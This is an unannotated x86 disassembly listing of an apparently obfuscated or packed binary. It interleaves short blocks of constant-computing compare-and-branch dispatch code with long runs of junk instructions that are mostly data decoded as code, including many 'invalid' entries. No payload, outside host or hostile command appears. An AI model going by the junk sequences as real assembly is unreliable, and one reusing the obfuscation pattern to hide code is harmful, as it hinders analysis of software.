stosd dword es:[edi], eax
rol byte [ebx - 9], cl
salc
fisttp word [esi]
in eax, 0xe6
push ss
test dword [eax + 0x46], edx
movsd dword es:[edi], dword [esi]
mov esp, 0xf5a0b50e
push ebx
xchg esp, eax
add bh, ch
daa
xchg edx, eax
mov dh, 0x59
invalid
imul eax, ecx, 0x857f548a
pop edx
ljmp 0x17fa
invalid
mov esi, ss
shl dword [edi + 0x4c], cl
nop
int3
mov edx, 0x9202d194
imul edx, esi, 0x9b00e8fe
mov bh, 0xcf
xchg ebx, eax
xchg esp, eax
loopne 0x6e12c0d4
mov edi, 0x31fec546
loope 0x6e12c066
sbb eax, 0x85b29f8
aam 0x3e
cmp bh, cl
aam 9
push 0xffffffffffffffb2
push esp
ret 0x4f3d
xor esp, esi
lcall 0x1ca9, 0xa1d99ab6
dec eax
mov edx, 0x878e9998
cmpsd dword [esi], dword es:[edi]
push ss
neg byte [eax - 0x49]
cmp byte [edx + 0x6e], 0x77
pop esi
out 0x21, eax
aas
outsb dx, byte [esi]
mov ebp, ebp
sbb bl, ah
mov ebp, dword [edx + 0x569b85f5]
mov ah, 0xb1
xor al, 0x18
cmp ecx, 0xffffffc6
jns 0x6e12c0fe
mov cl, 0x34
sbb byte [ebx - 0x7863907], al
add eax, ecx
test byte [ecx - 0x7e], ah
fsub st(3)
movsb byte es:[edi], byte [esi]
insd dword es:[edi], dx
mov dl, 0x5b
add dword [eax - 0x79], ecx
cmp dword [esp + ebp*2], eax
xchg byte [ecx], dl
and byte [edx], al
pop esi
mov ch, byte [esi]
outsd dx, dword [esi]
test eax, 0xde55d926
insb byte es:[edi], dx
stosb byte es:[edi], al
pop edi
adc dword [ecx - 0x5e], esi
xchg edx, eax
lea eax, [esi + esi*2 - 0x15314e3]
push es
adc al, dl
mov esp, 0x26b828d1
and bh, ah
outsb dx, byte [esi]
mov edx, 0xa0aacc90
invalid
aad 7
inc esi
inc edi
scasd eax, dword es:[edi]
jmp 0x6e12d868
call 0xf8a7389a
jno 0x6e12d8c7
lea eax, [ecx + eax + 0x6fce9fe]
das
jp 0x6e12d8d3
and edx, dword [ebx + 0x67]
fadd st(6), st(0)
mul dword [edi + ebx*2 + 0x52]
mov bl, 0
salc
sbb ch, byte [esp + edi + 0x74]
push cs
cmp byte [eax + 0x7d8f8c04], al
mov word [edx + edi*4], es
lcall 0x5327, 0xaad92729
sbb dword [eax - 0x61], 0xd9cc54a5
rol dword [0x58382db], 0xfb
inc esp
sub dword [eax - 0x75a2b76f], edi
sahf
int1
cmp ch, 0x40
test eax, 0xcc90aa6a
dec eax
pop ebp
add al, 0x4e
push edi
scasd eax, dword es:[edi]
pop eax
xchg edx, eax
sar byte [eax - 0x23d5245a], 1
mov ch, 0x72
shl byte [ebx], cl
int3
jno 0x6e12d910
cmc
sub al, 0x62
dec edx
jbe 0x6e12d92f
invalid
loopne 0x6e12d8dc
push ss
bound ecx, qword [ebx + 5]
xor ah, byte [eax]
xchg ebp, esi
cwde
mov ebx, ecx
retf
jecxz 0x6e12d972
stosb byte es:[edi], al
dec ebx
int1
aam 0xae
imul esp, dword [esi + 0x17], 0xffffff8c
sub dword [ecx], ebp
push ecx
cmp al, 0x80
mov ecx, 0x77b3386a
cmp dh, bl
pop ss
wait
add byte [edi + 0x3b], bh
xbegin 0xc499399f
stosd dword es:[edi], eax
adc esp, dword [esi]
popal
jg 0x6e12d9d4
aas
mov byte [0x7bcbb3c8], al
pop ecx
dec ebp
inc ecx
inc esi
jb 0x6e12d9e2
mov byte [ebp + 0x6f], dl
xor byte [eax - 0x49], bl
scasd eax, dword es:[edi]
shl byte fs:[edx], cl
inc ebp
and bl, cl
nop
or byte [0xe5afc845], 0x17
or eax, 0xe5afc845
pop ss
mov bh, 0x9b
push ecx
je 0x6e12d9e5
out 0x1e, eax
ljmp 0x6f99
cmp byte [ebx + 0x315d9c86], ah
xlatb
push esi
dec edx
sar byte [esi], 1
movsd dword es:[edi], dword [esi]
into
call 0x83ab8c26
inc esp
mov cl, 0xc0
cli
inc eax
mov dl, 0x98
adc eax, 0xfac0b144
cmpsd dword [esi], dword es:[edi]
pop esi
pop edx
sub eax, dword [ebx + 0x2e4b1869]
dec ebx
add eax, 0x2cd01e2f
scasd eax, dword es:[edi]
int3
adc al, 0x86
movsb byte es:[edi], byte [esi]
invalid
nop
jmp 0x6e1306db
nop
lea eax, [ebp - 0x31e]
mov dword [esp], eax
call fcn.6dd6817f
sub esp, 4
lea edx, [ebp - 0x359]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.6dc665ce
sub esp, 8
mov dword [0x6e93d018], eax
mov dword [ebp - 0x268], 0xa5d07
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x270], 0x259a1
mov dword [ebp - 0x26c], 0
mov eax, dword [ebp - 0x268]
mov edx, dword [ebp - 0x264]
sub eax, dword [ebp - 0x270]
sbb edx, dword [ebp - 0x26c]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], edx
mov eax, dword [ebp - 0x278]
xor eax, 0xdc8da
or eax, dword [ebp - 0x274]
je 0x6e1307eb
mov edx, 0xdc8da
mov eax, 0
cmp edx, dword [ebp - 0x278]
sbb eax, dword [ebp - 0x274]
jl 0x6e134e50
mov eax, dword [ebp - 0x278]
xor eax, 0x80366
or eax, dword [ebp - 0x274]
je 0x6e134e53
mov edx, 0x80366
mov eax, 0
cmp edx, dword [ebp - 0x278]
sbb eax, dword [ebp - 0x274]
jl 0x6e134e50
mov eax, dword [ebp - 0x278]
xor eax, 0x53b7
or eax, dword [ebp - 0x274]
je 0x6e131f63
mov eax, dword [ebp - 0x278]
xor eax, 0x6b3a9
or eax, dword [ebp - 0x274]
je 0x6e1336db
test eax, 0xb0006b3
test dword [ebp + edi*8 - 0x7bf00001], ecx
cmc
add byte cs:[eax], al
jmp 0x6e134e50
lea edi, [eax]
stc
push 0x2d
mov esp, 0xa3edcb4d
pushf
xlatb
loope 0x6e1307d6
imul eax, dword [eax], 0xffffffac
pop ebp
ja 0x6e13084a
mov al, byte [0xb2e747e4]
invalid
movsb byte es:[edi], byte [esi]
lahf
push es
ret 0x9e5e
aam 0x69
les esp, [ebp - 0x1eabd7e1]
xchg ecx, eax
mov eax, 0xc84c6b23
wait
xchg ecx, eax
pop eax
out 0x34, al
or ecx, dword [esi]
push esp
inc esp
mov dx, 0x529f
movsb byte es:[edi], byte [esi]
push eax
add al, 0xcf
cmp al, 0xac
adc edi, esi
out 0xa9, al
inc edx
loop 0x6e1308bd
xchg dword [0x4f10b20b], ebx
aaa
sahf
out 0x36, al
movsb byte es:[edi], byte [esi]
or dh, byte [esi + ebx*2 + 0x1f94b1fb]
sbb byte [edx], cl
jo 0x6e130823
xchg esp, eax
jp 0x6e1308c8
movsb byte es:[edi], byte [esi]
cmc
fsubr st(4), st(0)
dec eax
push eax
push ebx
bound ebp, qword [esi + esi*2]
adc al, 0x66
sbb dl, 0x34
cmp al, 0x6e
cmp dword [edi + 0x4125bb9], esp
into
adc al, 0xde
mov esp, 0xac1d0015
jns 0x6e130922
loopne 0x6e130902
mov dh, 0x1d
invalid
pop edx
sbb al, 0xcd
push ss
aaa
popfd
mov word [ebp - 0x5611b11c], gs
in eax, 6
push edi
cmp dword [eax + 0x3dc86392], 0x3cbbc96a
fsubr qword [esi + 0x32]
out dx, al
test eax, 0x815706e5
mov eax, 0x3dc86392
push 0xffffffffffffffc9
mov ebx, 0x326edc3c
xor byte [ebx], 0xac
mov ds, word [ecx]
arpl word [edx], sp
dec edx
xor ebp, dword [esi + ecx*4 + 0x4a226319]
imul edi, dword [ecx + esi*2 - 0x75], 0x966561f3
jle 0x6e1308db
in eax, 0x19
pop esi
daa
pop ss
test eax, 0x7bf5327f
mov fs, word [ebp - 0x68]
push ds
cmp eax, 0xada7cfe9
xchg esi, eax
mov bl, 0x1b
or byte ds:[edx + 0x75618cb], al
sbb edi, dword [esi]
or byte [edx + 0x75618cb], al
push ebp
and esi, esp
pop edi
mov eax, 0xd5d8df25
add eax, 0x572620a4
ljmp 0x42dd
sbb eax, 0x83b49679
sub byte [ebp - 0x1325367c], dl
jp 0x6e130957
sub dword [eax], 0xffffff95
test cl, cl
invalid
ljmp 0xc50:0x65f1ed80
popfd
inc ecx
ret
cmp byte [esi - 0x36], bl
inc esi
adc ebp, dword ss:[ecx]
sub al, 0x42
sbb al, 0x19
cld
lodsb al, byte [esi]
out 0x6a, al
pop ds
and ch, byte [edx]
cmp byte [eax], ch
jle 0x6e130943
cmp dl, byte [eax]
mov ecx, ss
xchg edx, eax
sbb al, 0xf2
pop ds
cmc
call 0x42060bd7
out 0x16, eax
and ebp, dword [edx - 0x69]
cld
sahf
adc al, 0x46
xor eax, 0x8fcc9094
adc ah, dl
ror ch, 0x39
jae 0x6e1309ea
mov dword [0xaf2061aa], eax
cmp dword [esi - 0x246dfac3], eax
wait
mov ch, 0xb
ja 0x6e130926
popal
lodsb al, byte [esi]
or dword [eax - 0x3d], eax
int 0xc6
lcall 0x9424, 0x6bb45c5d
lcall 0x615d, 0x7ff5be73
pop edx
cmpsb byte ss:[esi], byte es:[edi]
push esi
les edx, [esi]
sub byte [edx - 0x2d], cl
add bh, byte [esp + ebp*8 - 0x50]
push es
invalid
invalid
mov eax, 0xc2be12ac
cmpsb byte [esi], byte es:[edi]
wait
bound esp, qword [esi - 0x42d2b833]
push ds
dec edx
ret
cmp byte [esp + ebp*2], 0x1f
pop esp
in eax, 0xc7
shl byte [0x8440bafa], 0x6c
mov dword [0xecc71b57], eax
mov bh, 0x7c
adc bh, dl
pop esp
cmp ebx, dword [eax + 0x44]
inc eax
sbb eax, 0xe7ab112e
xor al, dh
pop ss
les eax, [esi]
pushal
and al, 0x44
sahf
stc
jmp 0x6e131eef
cmp edx, dword [ecx + esi*8 + 0x28]
jbe 0x6e131f0e
invalid
sbb ah, ch
cmp al, 0x21
pop es
adc byte [edi + 0x12], 0x5f
das
cmp dh, ah
sub eax, 0x8c0cc6a0
xchg edx, eax
pop ds
sub dword [ebx + edx*4 + 0x29172322], eax
lcall 0x5acd, 0x620679d
dec edi
inc ebx
inc ecx
mov bh, 0x1f
in eax, dx
inc ebp
push edi
mov bh, 0x88
imul ebx, dword [ebx + 0x54b65bae], 0x17475436
push edi
add al, 0x18
add cl, al
cmp dword [esi], edx
cwde
add ebp, dword [eax]
add dword [ebp + 0x1a], edi
invalid
nop
jmp 0x6e134e54
nop
lea eax, [ebp - 0x30a]
mov dword [esp], eax
call fcn.6dd6817f
sub esp, 4
lea edx, [ebp - 0x376]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.6dc665ce
sub esp, 8
mov dword [0x6e93d010], eax
mov dword [ebp - 0x280], 0x74acd
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x288], 0xae5e
mov dword [ebp - 0x284], 0
mov eax, dword [ebp - 0x27c]
imul eax, dword [ebp - 0x288]
mov edx, eax
mov eax, dword [ebp - 0x284]
imul eax, dword [ebp - 0x280]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x280]
mul dword [ebp - 0x288]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], edx
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], edx
mov eax, dword [ebp - 0x290]
xor eax, 0xf784cd46
mov edx, dword [ebp - 0x28c]
xor edx, 4
or eax, edx
je 0x6e14829b
mov edx, 0xf784cd46
mov eax, 4
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0xf3a3f
or eax, dword [ebp - 0x28c]
je 0x6e13f5ce
mov edx, 0xf3a3f
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0xf2282
or eax, dword [ebp - 0x28c]
je 0x6e143c36
mov edx, 0xf2282
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0xf1b42
or eax, dword [ebp - 0x28c]
je 0x6e1424be
mov edx, 0xf1b42
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0xe015f
or eax, dword [ebp - 0x28c]
je 0x6e13c6de
mov edx, 0xe015f
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0xdc403
or eax, dword [ebp - 0x28c]
je 0x6e13af66
mov edx, 0xdc403
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0xbc947
or eax, dword [ebp - 0x28c]
je 0x6e138076
mov edx, 0xbc947
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0xb98c2
or eax, dword [ebp - 0x28c]
je 0x6e146b26
mov edx, 0xb98c2
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0xab770
or eax, dword [ebp - 0x28c]
je 0x6e1397ee
mov edx, 0xab770
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0x96729
or eax, dword [ebp - 0x28c]
je 0x6e13de56
mov edx, 0x96729
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0x6a4c7
or eax, dword [ebp - 0x28c]
je 0x6e1368fe
mov edx, 0x6a4c7
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0x17b6f
or eax, dword [ebp - 0x28c]
je 0x6e140d46
mov edx, 0x17b6f
mov eax, 0
cmp edx, dword [ebp - 0x290]
sbb eax, dword [ebp - 0x28c]
jl 0x6e14829e
mov eax, dword [ebp - 0x290]
xor eax, 0xfcc2
or eax, dword [ebp - 0x28c]
je 0x6e135186
mov eax, dword [ebp - 0x290]
xor eax, 0x100d1
or eax, dword [ebp - 0x28c]
je 0x6e1453ae
jmp 0x6e14829e
sbb eax, 0x8fa023f3
cmp eax, 0x9e48bf93
nop
salc
pushfd
repne insd dword es:[edi], dx
xor al, 0x5a
imul esi, dword [edi + 0x6ac4ddf2], 0xd
add byte [ecx + edi*8 - 0x533bb6c9], bh
adc byte [edi], dl
or byte [esi + 0x7605ec21], al
leave
add dword [edi], ebx
mov ebp, 0x4c993df3
inc esp
jb 0x6e135223
call 0x92e758d3
push ebp
in al, 0x80
sub dl, al
and eax, dword [edx - 0x2157aefc]
test al, 0xde
das
xor al, 0xb5
adc ch, 0x66
nop
mov ecx, 0x256c4a19
xchg edi, eax
leave
jle 0x289eee3d
pop edx
rcl edx, cl
or eax, 0x45d62082
and dh, dl
inc ebp
insd dword es:[edi], dx
aam 0xca
add dword [ebx], ebp
jg 0x6e1351e2
adc dword [ecx + 0x74], edx
les edx, cs:[esi + 0x44abbde7]
mov ch, 0x61
loopne 0x6e135195
ror dword [ebx - 0x7eef888b], 1
cld
cmp eax, 0x4722691b
bnd jle 0x6e1351c7
dec eax
movsd dword es:[edi], dword [esi]
retf 0xa0a4
invalid
adc al, 0xbc
bound ecx, qword [ecx + 0x3b]
sbb dword [eax], esi
leave
mov edx, 0x60e9fe2c
mov edx, 0x837f2d5
ret 0x4000
inc ebp
cmp al, 0x40
jae 0x6e13689c
loop 0x6e136903
mov dword [0xacb4a0c8], eax
popfd
loope 0x6e136894
ljmp 0x629:0x89539aee
out 0xa2, al
jb 0x6e1380c1
cwde
push 0x9d4a326d
xor eax, 0x66eb6772
add dword [ebx + 0xf], 0xfcdb45d0
invalid
and byte [ecx + 0xd], cl
mov al, 0xf6
cwde
cmp ebx, ebp
ljmp 0x1d20
daa
push es
sub edx, edx
add al, byte [0xfc701668]
les edi, [eax + 0x6f]
stosd dword es:[edi], eax
cmp bl, ch
pop esi
shl eax, cl
invalid
jo 0x6e13afe5
pop es
mov word [ebp - 0x60], ss
xchg edi, eax
sbb al, 0xb4
pop esp
invalid
xchg ebp, eax
ror byte [ebp + 0x57], cl
pop ebx
hlt
ljmp 0xe21d:0x70e9dde4
ret 0x9053
out dx, eax
mov byte [ecx + 0x7a48fb47], 0xba
dec eax
jp 0x6e13c634
pop ss
lcall 0x2918, 0x87588083
and eax, 0x53341e8c
add dword [eax + 0x29188758], 0x25
mov word [esi], ds
xor al, 0x53
inc esi
or byte [ecx], 0x55
fst qword [ebp - 0x3b]
mov bh, 0x51
cmp al, byte [edi - 0x25]
cmp byte [ecx], ch
mov dword [edi + esi*4 - 0x1a], esp
sub ecx, dword [eax + 0x65]
js 0x6e13c6a8
dec edi
push ebx
cmp byte [ebx + 0xb43cb14], dl
sbb al, byte [edi]
lds ecx, [ecx]
jne 0x6e13c648
leave
lds eax, [0xd89464c3]
cwde
movsb byte es:[edi], byte [esi]
adc eax, 0x770792a3
pop edx
mov byte [0xa585761e], al
fnstcw word [ebx]
popal
pop edx
rcl ecx, cl
jbe 0x6e13c67d
dec ecx
out dx, al
das
jle 0x6e13c677
lodsb al, byte [esi]
adc ebx, dword [edi]
mov dl, 0x70
mov eax, 0xcc905022
jmp 0x6e14829f
sub eax, 0x39d21858
loope 0x6e13c672
inc ebx
stc
leave
pushal
mov esp, 0x37c278eb
in eax, 0xe0
xor ch, byte [ebx - 0x5a]
out 0xf0, eax
push ecx
ror ecx, 0xbb
pop eax
cmp bl, byte [esi - 0x13cc4b98]
leave
mov ebx, 0x689e3a58
mov ah, 0x33
in al, dx
mov eax, 0x7c591402
arpl word [edx - 0x3d], sp
mov al, byte [0x602afca]
pop ebp
or ah, 0x1f
popal
test byte [eax], 0x56
push ebp
dec esi
cli
pop eax
test eax, 0x184472f3
fisttp qword [edx + 0x16499df3]
les esp, [edi - 0x1e8d6b8c]
dec ebp
shr dword [ecx + 0x69], 0xc6
and byte [ebx], 0x70
out 0xbb, al
sbb ecx, dword [ebx + edx*2 - 4]
sub esi, ecx
mov edi, dword [ebx - 0x39]
mov word [ecx + 0x2c], cs
cmc
movsd dword es:[edi], dword cs:[esi]
adc dh, byte [ebp + ecx*2 + 0xb]
add eax, 0x166b2f3a
mov byte [0x30df5dae], al
xor ebx, dword [esi]
push ecx
inc esi
salc
sahf
jle 0x6e13c6f7
pop es
fst st(6)
pop edi
mov word [edx], fs
cmp eax, 0xf287799b
neg al
popfd
js 0x6e13c7d4
cmp al, 0xc7
mov ecx, 0x44965f24
invalid
cmp dword [eax + ebp*8 + 0x76], ebx
enter 0xffffffffffff8b5d, 0x1f
jp 0x6e13c84f
pop ebx
not byte [esi]
sub esi, dword [eax - 0x69]
int1
out 0x35, eax
inc esp
lahf
salc
cmp dword [ebx], ebx
in eax, dx
xor al, 0xc4
invalid
pushfd
in al, dx
ror dword [esi + 0x12a6f098], 0xfb
sub esp, dword [ebx]
push ecx
invalid
clc
xlatb
fldcw word [ebp - 0x78]
mov bh, 0x71
or byte [ebx + 0x28], cl
inc esi
and dh, ah
inc ebx
jb 0x6e13de82
stosd dword es:[edi], eax
push eax
into
xor al, 0x82
jp 0x6e13debd
add byte [ebp + 0x61], dl
push ebp
loopne 0x6e13dede
in eax, dx
das
xchg byte [ebx + 0x71], ch
aad 0xbb
aas
xchg ebx, eax
int1
push edi
and eax, 0xca49b50e
mov cl, 0xb2
and bh, byte [eax]
cdq
cmp al, 0x4a
add dword [esi - 0x383d204e], esi
xchg edx, eax
outsb dx, byte [esi]
aas
xchg ecx, eax
outsb dx, byte [esi]
push ss
sbb dword [edx + 0x2cb4ac16], edx
cmp dword [ebp + 0x67e0cb26], ebx
stosb byte es:[edi], al
retf
retf 0xb2b1
lahf
cmp eax, 0x5d415f55
movsd dword es:[edi], dword [esi]
ret 0x823
retf
ja 0x6e13f606
in al, dx
inc edi
push esi
xchg esp, eax
jnp 0x6e13f62b
add al, 0x5e
ljmp 0x1909
aaa
jo 0x6e13f626
adc esi, dword [ebx + 0x4f]
mov eax, dword [0x66c6ab2e]
enter 0x5bfd, 0xffffffffffffffa2
push ebx
in eax, 0x9f
sbb al, 0x65
leave
invalid
rol byte [edx + 0x6e], 1
jbe 0x6e13f636
cmp edx, dword [ebx + 0x15]
pop ebp
cld
outsd dx, dword [esi]
stc
imul ecx
js 0x6e13f617
test dword [ecx - 8], 0xddb4948b
arpl word [esi], si
pop esi
dec ecx
clc
mov edx, dword [esp + esi*4 + 0x5e3663dd]
or esi, edi
outsb dx, byte [esi]
je 0x6e13f606
invalid
xor cl, byte [esi]
push cs
imul eax, dword [ebx], 0xffffff99
leave
inc edx
invalid
mov edx, dword [eax]
xchg ebx, eax
jle 0x6e13f621
inc ebx
and eax, 0x1161c9cb
out dx, eax
fbld tbyte [eax + 0x63]
jle 0x6e13f5e0
mov dl, 0xaf
aam 0x3f
hlt
rol dword [ecx - 0x6e], cl
lodsd eax, dword [esi]
mov edi, 0x5279870f
jo 0x6e140d0c
std
xchg edx, eax
movsb byte es:[edi], byte [esi]
and byte [ebx - 0x2d], 0xf2
movsd dword es:[edi], dword [esi]
mov bh, 0x24
mov eax, dword [0x8b14d43]
movsd dword es:[edi], dword [esi]
mov dh, 0xee
out dx, al
adc al, 0x55
invalid
mov bh, 0x9c
cmp ebx, esp
jbe 0x6e140d9f
add al, 0x3a
in al, 0x80
xchg esi, eax
sbb dword [0x5d76a580], eax
scasb al, byte es:[edi]
adc eax, 0xe68a820e
pop edi
jbe 0x6e140da6
jge 0x6e140d7e
pop ecx
adc ebx, dword [0x2f048436]
test dl, bl
mov byte [esi], cl
jns 0x6e140cf0
jae 0x6e140d8e
mov edx, dword [0xfc28e4ba]
pop edx
sbb ebx, esp
xor eax, 0x18140bce
or al, 0x32
sbb byte [edx + esi], cl
xchg edi, eax
pop edi
out 0xc3, eax
mov dh, 0xa
pop esp
push 0x76d3ccaf
int 0x33
mov bh, 0x9f
retf
xor eax, esi
invalid
rcr dword [esi + 0x6191f4d8], cl
rol esp, 1
out 0xef, al
mov esi, 0x9a3f3583
ljmp 0x96f7
invalid
lodsb al, byte [esi]
imul esi, dword [esi + ebp*8 + 0x765573f], 0xffffffa8
and ch, bh
out dx, al
add al, al
sbb al, byte [esp + esi]
cmp eax, 0x860014ae
aam 0x2e
cwde
scasb al, byte es:[edi]
daa
mov byte [0x1cf3170f], dl
jbe 0x6e1424ae
xor cl, dl
adc dl, bh
and ecx, dword [ebx]
mov eax, 0x3158045d
rcl byte [eax]
xchg byte [0x50a889fa], cl
or eax, 0x50a889fa
push 0x19
call 0x57e0b4cc
loope 0x6e142519
add byte [eax], al
std
mov esi, dword [edx]
jp 0x6e14247b
in eax, dx
add dl, dh
push 0xffffffffffffffae
ljmp 0x8b28
cmp byte [ecx - 0x3c], cl
sbb eax, 0x23a1f646
pop ss
push ds
out 0x11, al
pushal
sal ah, 0x51
cmp ah, byte [ecx + 0x24]
xlatb
pop ss
sub byte [eax + 0x2a00ab16], cl
aaa
and ebx, esi
enter 0xffffffffffffc627, 0xffffffffffffff9f
movsd dword es:[edi], dword [esi]
inc ecx
adc dl, byte [ebx + 0x69]
scasd eax, dword es:[edi]
pop esp
ficomp word [edi]
inc eax
fimul dword [ebp - 0x583aca92]
iretd
fist word [edx + edi*2]
mov ecx, 0xef33df06
pop ds
mov edx, 0x4d8ea685
jge 0x6e143cac
xchg ebx, eax
mov al, byte [0xb7f12ac3]
retf 0xb9b6
or eax, 0xe87ec840
push ss
lea esi, [edx + edx*4 + 0x29]
invalid
pop esp
add edi, dword [eax + ecx*2 - 0x7e]
fiadd word [ebp + 0x4f811326]
sub al, 0x1d
mov al, 0xf5
cmp al, dh
salc
jge 0x6e14539e
movsb byte es:[edi], byte [esi]
hlt
mov dword [0xd7ac8678], eax
out dx, eax
sar dword [edx - 0x19], cl
nop
int3
mov al, 0xee
sbb dword [ecx + 0x168e73ca], edi
pop edi
mov dword [0xccf5ecd9], eax
adc dword [ebx - 0x668fa074], ecx
jmp 0x6e145364
inc ecx
mov edi, 0x1dd7a8a0
fstp xword [eax]
scasd eax, dword es:[edi]
or eax, 0x2805755f
mov bl, 4
xchg ebp, eax
outsd dx, dword [esi]
fucomi st(1)
xchg byte [eax], al
and ecx, dword [ebp - 0x68]
js 0x6e146b48
popfd
arpl word [edi + 2], bp
pop ds
or esi, esi
inc ebp
call 0x5b4cdad7
and ch, byte [0x424c43c2]
iretd
nop
jmp 0x6e14829f
nop
lea eax, [ebp - 0x30a]
mov dword [esp], eax
call fcn.6dd6817f
sub esp, 4
lea edx, [ebp - 0x32e]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.6dc665ce
sub esp, 8
mov dword [section..bss], eax
mov dword [ebp - 0x298], 0x24b96
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x2a0], 0x5baf6
mov dword [ebp - 0x29c], 0
mov ecx, dword [ebp - 0x298]
mov ebx, dword [ebp - 0x294]
mov eax, dword [ebp - 0x2a0]
mov edx, dword [ebp - 0x29c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], edx
mov eax, dword [ebp - 0x2a8]
xor eax, 0xefd4d
or eax, dword [ebp - 0x2a4]
je 0x6e1540a1
mov edx, 0xefd4d
mov eax, 0
cmp edx, dword [ebp - 0x2a8]
sbb eax, dword [ebp - 0x2a4]
jl 0x6e155816
mov eax, dword [ebp - 0x2a8]
xor eax, 0xb1cbe
or eax, dword [ebp - 0x2a4]
je 0x6e14cb49
mov edx, 0xb1cbe
mov eax, 0
cmp edx, dword [ebp - 0x2a8]
sbb eax, dword [ebp - 0x2a4]
jl 0x6e155816
mov eax, dword [ebp - 0x2a8]
xor eax, 0x836ca
or eax, dword [ebp - 0x2a4]
je 0x6e14e2c1
mov edx, 0x836ca
mov eax, 0
cmp edx, dword [ebp - 0x2a8]
sbb eax, dword [ebp - 0x2a4]
jl 0x6e155816
mov eax, dword [ebp - 0x2a8]
xor eax, 0x8068c
or eax, dword [ebp - 0x2a4]
je 0x6e155819
mov edx, 0x8068c
mov eax, 0
cmp edx, dword [ebp - 0x2a8]
sbb eax, dword [ebp - 0x2a4]
jl 0x6e155816
mov eax, dword [ebp - 0x2a8]
xor eax, 0x76672
or eax, dword [ebp - 0x2a4]
je 0x6e14fa39
mov edx, 0x76672
mov eax, 0
cmp edx, dword [ebp - 0x2a8]
sbb eax, dword [ebp - 0x2a4]
jl 0x6e155816
mov eax, dword [ebp - 0x2a8]
xor eax, 0x6edc2
or eax, dword [ebp - 0x2a4]
je 0x6e14b3d1
mov edx, 0x6edc2
mov eax, 0
cmp edx, dword [ebp - 0x2a8]
sbb eax, dword [ebp - 0x2a4]
jl 0x6e155816
mov eax, dword [ebp - 0x2a8]
xor eax, 0x69d8b
or eax, dword [ebp - 0x2a4]
je 0x6e149c59
mov edx, 0x69d8b
mov eax, 0
cmp edx, dword [ebp - 0x2a8]
sbb eax, dword [ebp - 0x2a4]
jl 0x6e155816
mov eax, dword [ebp - 0x2a8]
xor eax, 0x6617b
or eax, dword [ebp - 0x2a4]
je 0x6e152929
mov edx, 0x6617b
mov eax, 0
cmp edx, dword [ebp - 0x2a8]
sbb eax, dword [ebp - 0x2a4]
jl 0x6e155816
mov eax, dword [ebp - 0x2a8]
xor eax, 0x15650
or eax, dword [ebp - 0x2a4]
je 0x6e1484e1
mov eax, dword [ebp - 0x2a8]
xor eax, 0x4f557
or eax, dword [ebp - 0x2a4]
je 0x6e1511b1
jmp 0x6e155816
push ds
ret
invalid
adc al, 0x35
xor byte [ebp + 0x5e], bh
arpl sp, dx
and cl, byte [ecx + 0x27]
xchg edx, eax
jmp 0x6e14b3f5
mov word [edi], gs
sbb byte [ebp - 0x5b], 0xe3
div esi
adc al, al
mov dl, 0xd2
adc ebx, dword [esi]
outsb dx, byte [esi]
adc byte [esi - 0x4ee998a4], dl
xor eax, 0x50c6b429
push 0x42af7265
std
dec ebx
outsb dx, byte [esi]
outsb dx, byte [esi]
movsb byte es:[edi], byte [esi]
inc esp
or al, 0x48
mov ch, 0x17
and dword [esi + 0x5b], ecx
retf
fsubr st(6)
xchg byte [ecx + 0x4ab55aa3], ah
xor dword [esi], esi
pop esi
mov bh, 0x65
mov ah, al
dec edx
inc ecx
dec ecx
push eax
fstp dword [ebx + 0x17a59ae8]
imul ebx, dword [ebx + 0x1002e52a], 0xfffffff3
salc
sahf
test eax, 0x89fcf45b
aaa
retf 0xc523
add byte [edx + 0x6e9b071], cl
retf
sub esp, dword [eax + ebp*2 - 0x2675dc0a]
invalid
sub eax, 0xb1181ebb
pop ds
sub eax, dword [eax + 0x37b0bf00]
cmp al, 0xb9
les ecx, [edx - 0x6aac6bf4]
loopne 0x6e1511f3
adc eax, 0x284b8309
mov bh, byte [edx]
cld
inc edi
insb byte es:[edi], dx
xchg ecx, eax
test eax, 0xcd9084df
cmp al, 0x5e
stosb byte es:[edi], al
xor eax, 0x251576be
pop ss
loopne 0x6e151261
push edi
ja 0x6e1511ee
stosd dword es:[edi], eax
std
xor eax, 0x85dcaa7b
pop edi
and eax, dword [eax + 0xd]
int1
inc edi
and al, 0x1b
lodsb al, byte [si]
lodsb al, byte [esi]
jb 0x811e061b
